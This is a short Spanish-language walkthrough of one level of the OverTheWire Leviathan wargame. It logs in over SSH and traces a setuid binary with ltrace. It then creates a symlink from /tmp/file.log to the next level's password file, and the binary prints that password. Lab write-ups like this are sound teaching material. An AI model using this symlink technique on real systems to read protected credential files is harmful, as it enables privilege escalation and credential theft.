Level 4 –> Level 5

ssh leviathan5@leviathan.labs.overthewire.org -p 2223
Password: Tith4cokei

Observamos un fichero llamado leviathan5:

leviathan5@leviathan:~$ ls -la
total 28
drwxr-xr-x 2 root root 4096 Aug 26 22:26 .
drwxr-xr-x 10 root root 4096 Aug 26 22:26 ..
-rw-r–r– 1 root root 220 May 15 2017 .bash_logout
-rw-r–r– 1 root root 3526 May 15 2017 .bashrc
-r-sr-x— 1 leviathan6 leviathan5 7560 Aug 26 22:26 leviathan5
-rw-r–r– 1 root root 675 May 15 2017 .profile

Con el comando ltrace vemos que instrucciones realiza cuando es ejecutado:

leviathan5@leviathan:~$ ltrace ./leviathan5
__libc_start_main(0x80485db, 1, 0xffffd784, 0x80486a0 <unfinished …>
fopen(«/tmp/file.log», «r») = 0
puts(«Cannot find /tmp/file.log»Cannot find /tmp/file.log
) = 26
exit(-1 <no return …>
+++ exited (status 255) +++

Podemos concluir que abre un fichero file.log, del directorio /tmp/. Como este fichero no existe lo que haremos será crear un link simbólico, con el fichero del pass de leviathan6, a ver si conseguimos extraer el password.

leviathan5@leviathan:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log

Ejecutamos el binario:

leviathan5@leviathan:~$ ./leviathan5

UgaoFee4li